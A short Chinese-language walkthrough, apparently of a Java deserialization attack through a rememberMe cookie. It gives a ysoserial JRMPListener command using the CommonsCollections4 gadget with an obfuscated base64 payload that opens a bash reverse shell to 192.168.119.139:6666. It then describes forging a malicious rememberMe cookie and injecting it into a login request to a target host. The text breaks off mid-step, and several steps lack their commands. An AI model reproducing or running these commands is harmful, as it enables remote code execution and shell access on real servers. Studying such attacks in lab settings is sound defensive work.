使用在线荷载生产器生成适用于反序列化反弹shell的payload：

http://www.jackson-t.ca/runtime-exec-payloads.html



使用ysoserial.jar将payload合成为一个使用java 监听本地1099端口的指令：

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'



使用nc监听本地6666端口：



使用生成恶意 Cookie rememberMe值



访问http://192.168.119.134/login.jsp，拦截cookie中含有rememberMe的数据包：



替换Cookie rememberMe值的为之前通过poc生成的恶意值后，

